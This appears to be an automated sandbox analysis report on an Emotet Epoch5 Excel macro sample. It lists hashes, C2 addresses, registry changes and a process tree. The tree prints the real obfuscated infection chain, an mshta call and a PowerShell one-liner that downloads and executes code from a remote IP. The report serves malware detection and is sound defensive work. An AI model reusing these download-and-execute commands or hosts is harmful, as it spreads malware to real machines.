emotet | d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb

Resubmissions

19-01-2022 07:33

220119-jdxdnafgg4 10

19-01-2022 07:28

220119-jay33sfhfq 10

Analysis

max time kernel
34s
max time network
38s
platform
windows7_x64
resource
win7-en-20211208
submitted
19-01-2022 07:33

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Report Analysis Logs

General

Target

d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm
Size

114KB
MD5

f8ecaf3d4168b075f418c121a763ae0f
SHA1

cd99515256f845d4b6ca4f8a4f5ff6d0f1d0eff3
SHA256

d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb
SHA512

bb37a13fdef41887f119faf79af415cb14a894f9b5ef757a7be9a665afcd0df5a491b6b4a4bf0ed46c5e6b6a0dcd247ad52e1f94b4567d1287d319ed7459ce60

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/sec.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/sec.png

Extracted

Family

emotet

Botnet

Epoch5

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	772	756	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 7 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

4 1624 mshta.exe
5 996 powershell.exe
7 996 powershell.exe
10 1364 rundll32.exe
11 1364 rundll32.exe
12 1364 rundll32.exe
14 1364 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 8 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1960 rundll32.exe
1960 rundll32.exe
1960 rundll32.exe
1960 rundll32.exe
888 rundll32.exe
888 rundll32.exe
888 rundll32.exe
888 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Ajpkifzf\qihoqee.aro rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

flow	pid	process
4	1624	mshta.exe
5	996	powershell.exe
7	996	powershell.exe
10	1364	rundll32.exe
11	1364	rundll32.exe
12	1364	rundll32.exe
14	1364	rundll32.exe

pid	process
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
1960	rundll32.exe
888	rundll32.exe
888	rundll32.exe
888	rundll32.exe
888	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Ajpkifzf\qihoqee.aro	rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 32 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXEmshta.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-3846991908-3261386348-1409841751-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	EXCEL.EXE

Modifies registry class 64 IoCs

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\""	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application\ = "Excel"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	EXCEL.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open"	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1"	EXCEL.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1"	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	EXCEL.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	EXCEL.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\ = "&Edit"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

756 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exerundll32.exe

pid process

996 powershell.exe
1364 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 996 powershell.exe
Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid process

756 EXCEL.EXE
756 EXCEL.EXE
756 EXCEL.EXE

pid	process
756	EXCEL.EXE

pid	process
996	powershell.exe
1364	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	996	powershell.exe

pid	process
756	EXCEL.EXE
756	EXCEL.EXE
756	EXCEL.EXE

Suspicious use of WriteProcessMemory 44 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 756 wrote to memory of 772	756	EXCEL.EXE	cmd.exe
PID 756 wrote to memory of 772	756	EXCEL.EXE	cmd.exe
PID 756 wrote to memory of 772	756	EXCEL.EXE	cmd.exe
PID 756 wrote to memory of 772	756	EXCEL.EXE	cmd.exe
PID 772 wrote to memory of 1624	772	cmd.exe	mshta.exe
PID 772 wrote to memory of 1624	772	cmd.exe	mshta.exe
PID 772 wrote to memory of 1624	772	cmd.exe	mshta.exe
PID 772 wrote to memory of 1624	772	cmd.exe	mshta.exe
PID 1624 wrote to memory of 996	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 996	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 996	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 996	1624	mshta.exe	powershell.exe
PID 996 wrote to memory of 920	996	powershell.exe	cmd.exe
PID 996 wrote to memory of 920	996	powershell.exe	cmd.exe
PID 996 wrote to memory of 920	996	powershell.exe	cmd.exe
PID 996 wrote to memory of 920	996	powershell.exe	cmd.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 920 wrote to memory of 1960	920	cmd.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 1960 wrote to memory of 888	1960	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 888 wrote to memory of 1140	888	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe
PID 1140 wrote to memory of 1364	1140	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d145d8bd97ef82aed65a01e30b7523f9380bdef7e4af3cbb706c3fe571d2accb.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:756

C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:772

C:\Windows\SysWOW64\mshta.exe
mshta http://0x5cff39c3/sec/sec.html
3⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/sec.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
5⤵
- Suspicious use of WriteProcessMemory
PID:920

C:\Windows\SysWow64\rundll32.exe
C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1960

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ajpkifzf\qihoqee.aro",CSxezx
8⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ajpkifzf\qihoqee.aro",DllRegisterServer
9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1364

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
9c230a7fa255d3fbef075c4558d647698bccf5101d1b1c5e0ff36cc963039a1a0c021822db866363541da249c98ab75ed1b75602520d8f19a4e59722514c72da

Download Submit
\Users\Public\Documents\ssd.dll
MD5
d442753a14ebb461110f2fc77e1c8de0

SHA1
24002f3f1b60670920478c8cfc4235a8a8443704

SHA256
80856abca39547e8707442d21f1761f3cbf4dce9c263c8fb37c1c2ef23ba3073

SHA512
